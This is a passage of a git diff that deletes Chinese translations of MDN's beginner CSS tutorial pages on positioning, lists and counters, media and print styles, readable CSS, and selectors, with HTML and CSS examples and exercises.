  • -
-
- -

(B) Numbered paragraphs

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
- -

(box右侧需要增加一些padding ,防止文本与边框太近)

- -

位置

- -

你可以为一个元素指定  {{ cssxref("position") }} 属性为以下值之一,来设置其位置。

- -

这些是高阶属性。 可以通过简单的方式来使用它们—这也是在基础教程里提到它们的原因。但使用它们来实现复杂的布局会相对困难一些。

- -
-
relative
-
通过为元素指定一个值,元素相对于其原来位置移动。也可以使用margin来达到同样的效果。
-
fixed
-
为元素指定相对于窗口的确切位置 。即使文档的其它元素出现滚动,元素位置仍然不变。
-
absolute
-
为元素指定相对于其父元素的确切位置。只有在父元素使用 relative, fixed or absolute 时才有效。你可以为任何父元素指定 position: relative;因为它不会产生移动。
-
static
-
默认值。当明确要关闭位置属性时使用。
-
- -

position 属性(除了 static)一起使用的, 有下列属性: top, right, bottom, left, width, height 通过设置它们来指定元素的位置或大小。

- -
-
示例
- -

为了放置两个元素,一个在另外一个上方, 创建一个父容器来包含两个子元素:

- -
<div id="parent-div">
-  <p id="forward">/</p>
-  <p id="back">\</p>
-</div>
-
- -

在你的样式表里,将父容器的position设置为 relative。无需为它设置任何具体变动。 将子元素的position属性设置为 absolute:

- -
#parent-div {
-  position: relative;
-  font: bold 200% sans-serif;
-}
-
-#forward, #back {
-  position: absolute;
-  margin:0px; /* no margin around the elements */
-  top: 0px; /* distance from top */
-  left: 0px; /* distance from left */
-}
-
-#forward {
-  color: blue;
-}
-
-#back {
-  color: red;
-}
-
- -

输出结果如下,反斜杠显示在斜杠上方

- -
-

/

- -

\

-
- - - - - - - -
 
-
- -
-
更多详情
- -

更多详情的postion说明在 CSS Specification 中占用了两个章节: Visual formatting modelVisual formatting model details.

- -

如果你的样式表工作在多种浏览器环境下,你会发现不同浏览器对标准协议的解释会有很多不同, 而且特定浏览器的特定版本可能存在BUG。

-
- -

实践: 设置布局

- -
    -
  1. 修改示例文档, doc2.html, 和样式表, style2.css, 使用之前的示例 文档结构 and 浮动.
  2. -
  3. 浮动 示例中, 添加padding 来分离文本和右侧border ,值设为0.5 em.
  4. -
- -
-
挑战
- -

修改示例文档, doc2.html, 在文档末尾添加一个标签, 注意在</body>之前。

- -
<img id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin">
-
- -

如果你在之前的教程中没有下载过该图片, 现在下载, 将它与示例文件放在同一目录下:

- - - - - - - -
Image:Yellow-pin.png
- -

预测一下你的图片将会出现在哪里,然后刷新浏览器验证一下。

- -

在样式表中添加一条规则,将图片显示在文档右上角。

- -

刷新浏览器并把窗口拉小。 查看图片是否在右上角,拖动容器大小,再次查看。

- -
-
-

(A) The oceans

- -
-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
- -

(B) Numbered paragraphs

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- -

 

- -
Yellow map pin
-
-
-
- -

 查看该挑战的解决方案

- -

接下来是什么?

- -

{{ nextPage("/zh-CN/docs/CSS/开始/Tables", "表格") }}你几乎已经学习了这篇CSS基本教程的所有主题。接下来将描述更多CSS规则的高级选择器,以及你可以用来展示表格的一些特定方法。

diff --git a/files/zh-cn/web/guide/css/getting_started/lists/index.html b/files/zh-cn/web/guide/css/getting_started/lists/index.html deleted file mode 100644 index 8a85655517..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/lists/index.html +++ /dev/null @@ -1,324 +0,0 @@ ---- -title: Lists -slug: Web/Guide/CSS/Getting_started/Lists -translation_of: Learn/CSS/Styling_text/Styling_lists -translation_of_original: Web/Guide/CSS/Getting_started/Lists ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Content", "内容") }} 这是CSS入门教程 教程的第10部分; 它将向你描述你如何用CSS来指定列表的外观. 你将创建一个新的包含列表的示例文件,和一个新的定义列表的样式表。

- -

信息: 列表

- -

如果你完成了上一节的挑战任务,你就知道如何在列表项前面插入内容。

- -

CSS为列表提供了专门的属性。如果可以,使用这些属性通常会比较方便。

- -

使用{{ cssxref("list-style") }} 属性来指定列表项标记的样式。

- -

你的CSS中的选择器可以选中列表项 (比如, {{ HTMLElement("li") }})。也可以选中列表项的父节点 (比如, {{ HTMLElement ("ul") }})。此时列表项会继承父节点的样式。

- -

无序列表

- -

无序列表的每个列表项都用同样的方式标记。

- -

CSS 有三种标记样式:

- -
    -
  • disc
  • -
  • circle
  • -
  • square
  • -
- -

你可以指定一个图片的URL来自定义标记样式。

- -
-
- -

下面的规则为不同类的列表项指定了不同的标记:

- -
li.open {list-style: circle;}
-li.closed {list-style: disc;}
-
- -

这些类被用于列表项时,用以区分打开和关闭的列表项 (比如,在一个待办事项列表中):

- -
<ul>
-  <li class="open">Lorem ipsum</li>
-  <li class="closed">Dolor sit</li>
-  <li class="closed">Amet consectetuer</li>
-  <li class="open">Magna aliquam</li>
-  <li class="closed">Autem veleum</li>
-</ul>
-
- -

结果:

- - - - - - - -
-
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
- -

有序列表

- -

在有序列表中,每个列表项都被标记了不同的序号。

- -

用{{ cssxref("list-style") }} 属性指定标记样式:

- -
    -
  • decimal
  • -
  • lower-roman
  • -
  • upper-roman
  • -
  • lower-latin
  • -
  • upper-latin
  • -
- -
-
- -

这条规则指定类名包含info的{{ HTMLElement("ol") }} 元素的列表项用大写字母标序

- -
ol.info {list-style: upper-latin;}
-
- -

{{ HTMLElement("li") }} 元素继承了ol的样式:

- - - - - - - -
-
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
- -
-
更多细节
- -

{{ cssxref("list-style") }} 属性是一个快捷写法。在复杂的样式表中你可能更希望用单独的属性设置不同的属性值。欲查看这些单独的属性和更详细的CSS指定列表的方法,见 {{ cssxref("list-style") }}参考页。

- -

如果你使用如HTML这类提供了方便的无序列表 ({{ HTMLElement("ul") }}) 和有序列表({{ HTMLElement("ol") }})的标记语言,就尽量使用这些标签。当然,你完全可以将 {{ HTMLElement("ul") }} 显示成有序列表,将 {{ HTMLElement("ol") }} 显示成无序列表。

- -

浏览器实现列表样式略有不同。不要奢望样式表可以让列表在所有浏览器中显示的完全一样。

-
- -

计数器

- -
-

注意:  一些浏览器不支持计数器。Quirks Mode site 的CSS contents and browser compatibility 页有更多这方面的兼容表格可以参考。 CSS Reference 也有浏览器兼容性表格。

-
- -

你可以用计数器来计数任何元素,不仅是列表元素。比如,在某些文档中你可能想计数标题和段落。

- -

要想计数,你必须定义一个计数器。

- -

在计数开始前的某个元素上,设置 {{ cssxref("counter-reset") }}属性以重置计数器。被计数元素的父节点是一个不错的选择。当然,任何出现在被计数元素前面的元素都可以。

- -

设置每个需要计数的元素的{{ cssxref("counter-increment") }} 属性为你的计数器名。

- -

通过为选择器增加 {{ cssxref(":before") }} 或 {{ cssxref(":after") }} 并设置 content 属性来显示计数器。 (如上一节所示, 内容).

- -

content属性的值中设置 counter(),在括号内填上计数器的名字。可选的是设置计数器类型。其类型和前面一节 有序列表 中相同。

- -

正常情况下,显示计数器的元素也会递增计数器。

- -
-
- -

这条规则会为每个类名中包含numbered的{{ HTMLElement("h3") }} 元素初始化计数器 mynum:

- -
h3.numbered {counter-reset: mynum;}
-
- -

 

- -

这条规则为每个类名包含numbered的{{ HTMLELement("p") }}元素显示并递增计数器:

- -
p.numbered:before {
-  content: counter(mynum) ": ";
-  counter-increment: mynum;
-  font-weight: bold;}
-
- -

结果:

- - - - - - - -
Heading - -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
- -
-
更多细节
- -

除非所有看你文档的人的浏览器都支持计数器,否则你不能使用计数器。

- -

如果你可以使用计数器,那么你可以单独设置计数器的样式。如上面例子所示:计数器是粗体,但列表不是。

- -

你还可以用更复杂的方式使用计数器。比如,计数章节, 标题, 子标题以及段落。详见CSS规范中的 Automatic counters and numbering 。

-
- -

实例: 设计列表样式

- -

新建doc2.html:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8">
-    <title>Sample document 2</title>
-    <link rel="stylesheet" href="style2.css">
-  </head>
-  <body>
-
-    <h3 id="oceans">The oceans</h3>
-    <ul>
-      <li>Arctic</li>
-      <li>Atlantic</li>
-      <li>Pacific</li>
-      <li>Indian</li>
-      <li>Southern</li>
-    </ul>
-
-    <h3 class="numbered">Numbered paragraphs</h3>
-    <p class="numbered">Lorem ipsum</p>
-    <p class="numbered">Dolor sit</p>
-    <p class="numbered">Amet consectetuer</p>
-    <p class="numbered">Magna aliquam</p>
-    <p class="numbered">Autem veleum</p>
-
-  </body>
-</html>
-
- -

新建style2.css

- -
/* numbered paragraphs */
-h3.numbered {counter-reset: mynum;}
-
-p.numbered:before {
-  content: counter(mynum) ": ";
-  counter-increment: mynum;
-  font-weight: bold;
-}
-
- -

如果布局和注释不符合你的口味,随便改。

- -

在浏览器中打开。如果你的浏览器支持计数器,你将看到下面的样子。如果不支持,你将看不到数字序号。 (甚至冒号都看不到):

- - - - - - - -
-

The oceans

- -
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
- -

Numbered paragraphs

- -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- -
-
挑战
- -

增加一条规则,用罗马数字i到v计数大洋的名字

- - - - - - - -
-

The oceans

- -
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
- -

 

- -

修改样式,将标题用大写字母加括号的方式标序:

- - - - - - - -
-

(A) The oceans

- -

. . .

- -

(B) Numbered paragraphs

- -

. . .

-
-
- -

答案

- -

接下来?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Boxes", "盒模型") }}浏览器显示你的样例文档,在将元素放置在页面上时,会在元素周围创建空间。下一章节将向你描述如何使用CSS来和元素下的形状一起工作,元素下的形状我们称为盒子boxes)。

- -

 

diff --git a/files/zh-cn/web/guide/css/getting_started/media/index.html b/files/zh-cn/web/guide/css/getting_started/media/index.html deleted file mode 100644 index ef181eedcc..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/media/index.html +++ /dev/null @@ -1,391 +0,0 @@ ---- -title: 媒体 -slug: Web/Guide/CSS/Getting_started/Media -translation_of: Web/Progressive_web_apps/Responsive/Media_types ---- -

{{CSSTutorialTOC}} {{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Tables", "表格")}}

- -

本章节是 CSS入门教程 指南的第14章也是最后一部分。 这本指南主要描述了用来展示文档的CSS的属性及其值,本章节依旧着眼于这个目标,同时也会介绍CSS样式表的结构。

- -

信息: Media

- -

CSS的作用是将网页文档以更友好的展现方式呈现给用户。

- -

例如,假设你现在正用一台显示设备来阅读这篇文章,同时你也想把它投影到屏幕上,或者打印出来,而显示设备、屏幕投影和打印等这些媒介都有自己的特点,CSS就是为文档提供在不同媒介上展示的适配方法。

- -

CSS通过使用{{CSSXref("@media")}} 的格式来对特定的媒介指定适配规则。

- -
-
示例
- -

我们的站点上有一个导航区域允许用户浏览。

- -

在标签语言中,导航区域父元素的id是 nav-area.(在 {{HTMLVersionInline(5)}}中, 可以使用 {{HTMLElement("nav")}} 元素代替带有id属性的 {{HTMLElement("div")}}。)

- -

为了网页在被打印的时候去掉无用的信息,我们在样式表中加一条适配规则,使导航区域在打印时是被隐藏起来的:

- -
@media print {
-  #nav-area {display: none;}
-  }
-
-
- -

一些常见的媒介类型:

- - - - - - - - - - - - - - - - - - - - -
screen彩色计算机显示
print打印(分页式媒体)
projection投影
all所有媒体 (默认)
- -
-
更多
- -

一些其他指定媒介类型的规则。

- -

类型可以在样式表通过link方式加到文档时被指定,这是文档的标签语言允许的 。例如,在HTML中,你可以通过在 LINK 标签上添加media属性来指定媒介类型。

- -

在CSS中,你可以在样式表开头使用 {{CSSXref("@import")}} 一个url来引入另外的样式表,同时指定其媒介类型。

- -

根据这些知识,你可以区分在不同的文件中定义不同媒介的样式规则。有时这也是结构化样式表的好方法。

- -

想获取媒介类型更多细节,请参考CSS规范中的 Media 部分。

- -

接下来将介绍更多 {{cssxref("display")}} 属性的例子: XML data.

-
- -

打印

- -

CSS有一些特性能够支持打印和分页媒体。

- -

 {{cssxref("@page")}} 规则能够设置页间距,对于双面打印,还可以分开设置 @page:left 和 @page:right。

- -

对于打印媒介,可以使用适当的长度单位,像是英寸(in)、点(1pt = 1/72 inch)、厘米(cm)还有毫米(mm)。这等同于使用em来配合字体大小和百分比。

- -

可以通过使用 {{cssxref("page-break-before")}}, {{cssxref("page-break-after")}} 和 {{cssxref("page-break-inside")}} 属性来控制文档内容的分页边界。

- -
-
示例
- -

这个规则把四个方向的页边距都设置为1 inch:

- -
@page {margin: 1in;} 
- -

这个规则确保每个H1元素都从新的一页开始:

- -
h1 {page-break-before: always;}
-
-
- -
-
更多细节
- -

想获取更多细节,请参考CSS规范中的 Paged media 部分。

- -

像CSS的其他特性一样,打印也依赖于你的浏览器及其设置。例如,在打印的时候Mozilla浏览器支持默认的间距,页眉和页脚。而当其他用户打印你的文档时,你无法预知他会使用的什么样的浏览器和设置,因此你也不能完全控制打印情况。

-
- -

用户界面

- -

CSS有一些特殊的属性能够支持设备的用户界面,像电脑显示器。这使得文档的展示随着用户界面的情况而动态地变化。

- -

并没有针对用户界面设备的特殊媒介类型。

- -

下面有五种特殊的选择器:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SelectorSelects
E{{cssxref(":hover")}}当鼠标悬浮任何E元素上
E{{cssxref(":focus")}}当元素获得键盘焦点
E{{cssxref(":active")}}当元素是当前的活动元素
E{{cssxref(":link")}}当元素超链接到一个url但是用户还没有访问过
E{{cssxref(":visited")}}当元素超链接到一个url但是用户已经访问过
- -
-

注意: 在 {{gecko("2.0")}} 中可获得的 :visited 选择器信息是有限的。更过细节请参照 Privacy and the :visited selector 。

-
- -

 {{cssxref("cursor")}} 属性指定鼠标的形状:一些常见的形状如下表所示。把你的鼠标放在列表的选项上来看浏览器中实际显示的鼠标形状:

- - - - - - - - - - - - - - - - - - - - - - - - -
SelectorSelects
pointer指示超链接
wait表明程序无法接受输入
progress表明程序正在运行,但是仍可以接受输入
default默认(通常是箭头)
- -

 {{cssxref("outline")}} 属性通过创建轮廓来表明获得键盘焦点。只有在父元素使用 relative, fixed or absolute 时才有效。你可以为任何父元素指定 position: relative;因为它不会产生移动。
- 它的作用相当于 {{cssxref("border")}} 属性,但与其不同的是它不能指明个别方向。

- -

一些其他的用户界面特性通常会通过属性来应用。例如,禁用或者只读的元素可以设置 disabled 属性和 readonly 属性。选择器可以通过方括: {{mediawiki.external('disabled')}} 或者 {{mediawiki.external('readonly')}}来指定这些属性。

- -
-
示例
- -

这些规则规定了按钮在用户使用时动态变化的样式:

- -
.green-button {
-  background-color:#cec;
-  color:#black;
-  border:2px outset #cec;
-  }
-
-.green-button[disabled] {
-  background-color:#cdc;
-  color:#777;
-  }
-
-.green-button:active {
-  border-style: inset;
-  } 
- -

这个wiki不支持页面上的用户界面,所以这些按钮不能点击。下面用一些静态图片来举例说明:

- - - - - - - -
- - - - - - - - - - - - - - - - -
Click MeClick MeClick Me
 
disablednormalactive
-
- -

当一个功能性按钮初始化的时候,它的周围会围绕着一条黑色的轮廓。当它获取键盘焦点时,从表面上看有一条虚线轮廓。同时当鼠标悬浮在它上面时也有一些悬浮效果。

-
- -
-
更多
- -

获取更多关于CSS用户界面的信息,请参考CSS规范中的 User interface 部分。

- -

本文的第二部分列举了Mozilla的用户界面标签语言的例子,XUL。

-
- -

实践: 打印文档

- -
    -
  1. 创建一个新的HTML文档, doc4.html. 把下面的HTML代码粘贴过去: - -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -    <title>Print sample</title>
    -    <link rel="stylesheet" href="style4.css">
    -  </head>
    -  <body>
    -    <h1>Section A</h1>
    -    <p>This is the first section...</p>
    -    <h1>Section B</h1>
    -    <p>This is the second section...</p>
    -    <div id="print-head">
    -      Heading for paged media
    -    </div>
    -    <div id="print-foot">
    -      Page:
    -    </div>
    -</body>
    -</html>
    -
    -
  2. -
  3. 创建一个新的样式表, style4.css. 把下面的HTML代码粘贴过去: -
    /*** Print sample ***/
    -
    -/* defaults  for screen */
    -#print-head,
    -#print-foot {
    -  display: none;
    -  }
    -
    -/* print only */
    -@media print {
    -
    -h1 {
    -  page-break-before: always;
    -  padding-top: 2em;
    -  }
    -
    -h1:first-child {
    -  page-break-before: avoid;
    -  counter-reset: page;
    -  }
    -
    -#print-head {
    -  display: block;
    -  position: fixed;
    -  top: 0pt;
    -  left:0pt;
    -  right: 0pt;
    -
    -  font-size: 200%;
    -  text-align: center;
    -  }
    -
    -#print-foot {
    -  display: block;
    -  position: fixed;
    -  bottom: 0pt;
    -  right: 0pt;
    -
    -  font-size: 200%;
    -  }
    -
    -#print-foot:after {
    -  content: counter(page);
    -  counter-increment: page;
    -  }
    -
    -} /* end print only */
    -
    -
  4. -
  5. 在浏览器中查看文档,你会看到它使用的是默认样式。
  6. -
  7. 打印(或者打印预览)文档;样式表的适配规则开始起作用,同时会显示每个页面的页眉和页脚,如果浏览器支持记数器,页码也会被显示出来。 - - - - - - - -
    - - - - - - -
    - - - - - - -
    -
    Heading for paged media
    - -
    Section A
    - -
    This is the first section...
    - -
    Page: 1
    -
    -
    -
    - - - - - - -
    - - - - - - -
    -
    Heading for paged media
    - -
    Section B
    - -
    This is the second section...
    - -
    Page: 2
    -
    -
    -
    -
  8. -
- - - - - - - - -
挑战
把指定打印样式的规则转移到单独的CSS文件。 -

学习 {{CSSXref("@import")}} 了解如何将新的指定打印 CSS 文件引用到 style4.css 样式表里去。

- -

当鼠标放在标题时,改变颜色为蓝色。

-
- -

查看这些挑战的解决方案。

- -

接下来?

- -

如果你还是很难理解这个章节,或者你对它有一些意见或者建议,请在 讨论区 中不吝赐教。

- -

目前,本文所有的样式规则都可以在文件里面规定。这些规则及其值均是固定的。下面的篇章将会描述该如何使用程序语言 JavaScript 来动态地改变规则。

diff --git a/files/zh-cn/web/guide/css/getting_started/readable_css/index.html b/files/zh-cn/web/guide/css/getting_started/readable_css/index.html deleted file mode 100644 index 17553c5013..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/readable_css/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: 创建可读性良好的CSS -slug: Web/Guide/CSS/Getting_started/Readable_CSS -translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable -translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Selectors", "选择器")}}这是CSS入门教程系列教程的第6部分; 本节讨论了CSS语言自身的样式及语法。你可以更改CSS示例文件的代码外观,来使其更具可读性。

- -

资料:创建可读性良好的 CSS

- -

你可以通过添加空白字符和注释来提高样式表的可读性。你也可以把不同的选择器放到一组中来,这样同一样式可以应用到这一组中。

- -

空白字符

- -

空白字符是指空格、tab字符和换行。你可以通过添加这些空白字符来提高样式表的可读性。

- -

对页面而言,空白字符也是页面的一个组成部分,它的效果就是创造了边距、分割,还有行和列间的空白。

- -

如果你的样式表中一行只有一条规则,那这是使用空白字符最少的情况。但是,对于复杂的样式表而言,这可能不便于阅读,而且维护起来也比较困难。

- -

样式表的书写风格可以根据你自己的喜好来选择。但是,如果你开发的项目需要分享给他人,那就很有必要来制定一些书写规范。

- -
-
示例
- -

有人喜欢我们这里使用的紧凑的书写风格,但是如果规则较长的时候就需要来进行分割:

- -
.carrot {color: orange; text-decoration: underline; font-style: italic;}
-
- -

也有人喜欢下面这种每行只写一个属性-值的风格:

- -
.carrot
-{
-color: orange;
-text-decoration: underline;
-font-style: italic;
-}
-
- -

还有人喜欢缩进(两个空格、四个空格,或者tab键是最常用的方式):

- -
.carrot {
-  color: orange;
-  text-decoration: underline;
-  font-style: italic;
-}
-
- -

还有人喜欢这种垂直对齐的方式(这种方式比较难维护):

- -
.carrot
-    {
-    color           : orange;
-    text-decoration : underline;
-    font-style      : italic;
-    }
-
- -

有些人混合使用空白字符来提高可读性:

- -
.vegetable         { color: green; min-height:  5px; min-width:  5px }
-.vegetable.carrot  { color: orange;    height: 90px;     width: 10px }
-.vegetable.spinach { color: darkgreen; height: 30px;     width: 30px }
-
-
- -

而且,在使用的空白字符的时候,有人喜欢用tab键,有人喜欢使用空格。

- -

注释

- -

CSS注释以/* 开始,以 */结束。

- -

你可以在样式表中写些实际意义的注释,也可以是为了测试的目的而写的临时性的注释内容。

- -

对于样式表中的注释内容一定要写在注释标签内,这样浏览器在解析的时候会忽略注释。一定要注意注释的起始标签。样式表的其他部分始终要符合语法规则。

- -
-
示例
- -
/* style for initial letter C in first paragraph */
-.carrot {
-  color:            orange;
-  text-decoration:  underline;
-  font-style:       italic;
-  }
-
-
- -

选取器组

- -

当很多元素具有相同的样式时,你就需要定义一个选择器组,组内用逗号分隔。这样声明的样式就会应用到组内所有的选择器上。

- -

在样式表的其他地方,你也可以单独对这些选择器重新设置样式,这些样式会应用到相应的选择器上。

- -
-
示例
- -

这条规则将 {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, 和 {{ HTMLElement("h3") }} 匹配到的元素设置为相同颜色。

- -

将定义颜色的规则写在一个地方是正确的,因为有些时候,这个颜色值可能需要统一修改。

- -
/* color for headings */
-h1, h2, h3 {color: navy;}
-
-
- -

实践:添加注释来提高展现力

- -
    -
  1. 编辑你的样式表,将下面的几条规则添加进去(规则顺序可以任意设置): -
    strong {color: red;}
    -.carrot {color: orange;}
    -.spinach {color: green;}
    -#first {font-style: italic;}
    -p {color: blue;}
    -
    -
  2. -
  3. 为了让代码变得可读性更高,你需要通过分析其中的联系来对代码重新排序,并选择你认为最合适的方式来添加一些空白字符和注释。
  4. -
  5. 保存文件并刷新浏览器页面,要确保你更改后代码不影响原来的显示效果: - - - - - - - - - -
    Cascading Style Sheets
    Cascading Style Sheets
    -
  6. -
- -
-
挑战
- -

将你的样式表中的部分内容改为注释,以使文档的第一个字母颜色变为红色,但是注意不要改变其他任何内容:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

(这个不止一种解决方案。)

- -
-
一种解决方法:
-其中一种解决办法就是给.carrot添加注释: - -
.carrot {
-  color: orange;
-}
-
-A more specific selector, p#second also works. Hide solution
-查看解决方案
- -

接下来是什么?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Text_styles", "文本样式") }} 本节中,你的示例样式使用了 italic 文本以及 underlined 文本。 下一节将描述更多的方式来 详细指定文本的外观 。

diff --git a/files/zh-cn/web/guide/css/getting_started/selectors/index.html b/files/zh-cn/web/guide/css/getting_started/selectors/index.html deleted file mode 100644 index 69f0700b19..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/selectors/index.html +++ /dev/null @@ -1,414 +0,0 @@ ---- -title: 选择器 -slug: Web/Guide/CSS/Getting_started/Selectors -translation_of: Learn/CSS/Building_blocks/Selectors -translation_of_original: Web/Guide/CSS/Getting_started/Selectors ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/Cascading_and_inheritance", "层叠和继承")}}这是 CSS入门教程 的第五节; 本节将讲述如何应用样式;不同的选择器有不同的优先级;你在样例文档中为标签增加一些属性,在样式中使用这些属性。

- -

资料: 选择器(Selectors)

- -

CSS有一套用于描述其语言的术语。在前面的教程中,你应该已经写过这个样式:

- -
strong {
-  color: red;
-}
-
- -

在CSS的术语中,上面这段代码被称为一条规则(rule)。这条规则以选择器strong开始,它选择要在DOM中哪些元素上使用这条规则。

- -
-
更多细节
- -

花括号中的部分称为声明(declaration)

- -

关键字color是一个属性red 是其对应的值.

- -

同一个声明中的 属性和值组成一个名值对(property-value pairs),名值对用分号分隔.

- -

这个教程中将类似strong的选择器称为标签选择器(tag selector).CSS规范中称之为类型选择器(type selector).

-
- -

本节将介绍更多的选择器。

- -

除了标签名称,你还可以在选择器中使用属性值。这样你就可以更具体的描述你的规则.

- -

其中 class 和 id 两个属性具有比较重要的地位。

- -

类选择器(Class selectors)

- -

通过设置元素的 class 属性,可以为元素指定类名。类名由开发者自己指定。 文档中的多个元素可以拥有同一个类名。

- -

在写样式表时,类选择器是以英文句号(.)开头的。

- -

ID选择器(ID selectors)

- -

通过设置元素的 id 属性为该元素制定ID。ID名由开发者指定。每个ID在文档中必须是唯一的。

- -

在写样式表时,ID选择器是以#开头的。

- -
-
例:
-下面的p标签同时具有 class 属性和id 属性: - -
<p class="key" id="principal">
-
- -

id 属性值 principal必须在文档中是唯一的;但文档中的其他标签可以有和p相同的 class 属性值 key.

- -

在一个CSS样式表中, 下面的规则将使所有class属性等于key的元素文字颜色呈现绿色。(这些元素不一定都是 {{ HTMLElement("p") }} 元素。)

- -
.key {
-  color: green;
-}
-
- -

下面的规则将使 id 等于 principal 的那个元素的文字变为粗体:

- -
#principal {
-  font-weight: bolder;
-}
-
-
- -

如果多于一个规则指定了相同的属性值都应用到一个元素上,CSS规定拥有更高确定度的选择器优先级更高。ID选择器比类选择器更具确定度, 而类选择器比标签选择器(tag selector)更具确定度。

- -
-
更多细节
- -

你也可以将多个选择器组合起来构成更确定的选择器。

- -

比如,选择器.key 选中所有class属性为 key的元素. 选择器 p.key 选中所有class属性为key的{{ HTMLElement("p") }} 元素。

- -

除了class 和 id,你还可以用方括号的形式指定其他属性。比如,选择器 [type='button'] 选中所有 type 属性为 button 的元素。

-
- -

如果样式中包含冲突的规则,且它们具有相同的确定度。那么,后出现的规则优先级高。

- -

如果你遇到规则冲突,你可以增加其中一条的确定度或将之移到后面以使它具有更高优先级。

- -

伪类选择器(Pseudo-classes selectors)

- -

CSS伪类(pseudo-class)是加在选择器后面的用来指定元素状态的关键字。比如,{{ Cssxref(":hover") }} 会在鼠标悬停在选中元素上时应用相应的样式。

- -

伪类和伪元素(pseudo-elements)不仅可以让你为符合某种文档树结构的元素指定样式,还可以为符合某些外部条件的元素指定样式:浏览历史(比如是否访问过 ({{ cssxref(":visited") }}), 内容状态(如 {{ cssxref(":checked") }} ), 鼠标位置 (如{{ cssxref(":hover") }}). 完整列表参见 CSS3 Selectors working spec.

- -
-
语法
- -
selector:pseudo-class {
-  property: value;
-}
-
-
- -

伪类列表

- -
    -
  • {{ Cssxref(":link") }}
  • -
  • {{ Cssxref(":visited") }}
  • -
  • {{ Cssxref(":active") }}
  • -
  • {{ Cssxref(":hover") }}
  • -
  • {{ Cssxref(":focus") }}
  • -
  • {{ Cssxref(":first-child") }}
  • -
  • {{ Cssxref(":nth-child") }}
  • -
  • {{ Cssxref(":nth-last-child") }}
  • -
  • {{ Cssxref(":nth-of-type") }}
  • -
  • {{ Cssxref(":first-of-type") }}
  • -
  • {{ Cssxref(":last-of-type") }}
  • -
  • {{ Cssxref(":empty") }}
  • -
  • {{ Cssxref(":target") }}
  • -
  • {{ Cssxref(":checked") }}
  • -
  • {{ Cssxref(":enabled") }}
  • -
  • {{ Cssxref(":disabled") }}
  • -
- -

资料: 基于关系的选择器

- -

CSS还有多种基于元素关系的选择器。通过它们你可以更精确的选择元素。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
常见的基于关系的选择器
选择器选择的元素
A E元素A的任一后代元素E (后代节点指A的子节点,子节点的子节点,以此类推)
A > E元素A的任一子元素E(也就是直系后代)
E:first-child任一是其父母结点的第一个子节点的元素E
B + E元素B的任一下一个兄弟元素E
B ~ EB元素后面的拥有共同父元素的兄弟元素E
- -

你可以任意组合以表达更复杂的关系。

- -

你还可以使用星号(*)来表示”任意元素“。

- -
-
- -

一个HTML表格有id 属性,但是它的行和单元格没有单独的id:

- -
<table id="data-table-1">
-...
-<tr>
-<td>Prefix</td>
-<td>0001</td>
-<td>default</td>
-</tr>
-...
-
- -

下面的规则使表格每行的第一个单元格字体为粗体,使第二个单元格使用等宽字体。这条规则只影响id为data-table-1的表格:

- -
    #data-table-1 td:first-child {font-weight: bolder;}
-    #data-table-1 td:first-child + td {font-family: monospace;}
-
- -

最终效果:

- - - - - - - -
- - - - - - - - -
Prefix0001default
-
-
- -
-
更多细节
- -

一般情况下,如果你提高了某个选择器的的确定度,你便提高它的优先级。

- -

使用这个技巧,可以避免为大量标签指定 class 或 id 属性。CSS(引擎)会帮你做的。

- -

在复杂设计中速度非常重要,避免使用复杂的依赖元素关系的规则可以使你的样式更有效率。

- -

更多关于表格的例子,见 Tables

-
- -

实例: 使用类选择器和ID选择器

- -
    -
  1. 创建一个HTML文件
  2. -
  3. 将下面内容拷贝到HTML文件中 -
    <!doctype html>
    -<html>
    -  <head>
    -  <meta charset="UTF-8">
    -  <title>Sample document</title>
    -  <link rel="stylesheet" href="style1.css">
    -  </head>
    -  <body>
    -    <p id="first">
    -      <strong class="carrot">C</strong>ascading
    -      <strong class="spinach">S</strong>tyle
    -      <strong class="spinach">S</strong>heets
    -    </p>
    -    <p id="second">
    -      <strong>C</strong>ascading
    -      <strong>S</strong>tyle
    -      <strong>S</strong>heets
    -    </p>
    -  </body>
    -</html>
    -
    -
  4. -
  5. 创建style1.css: -
    strong { color: red; }
    -.carrot { color: orange; }
    -.spinach { color: green; }
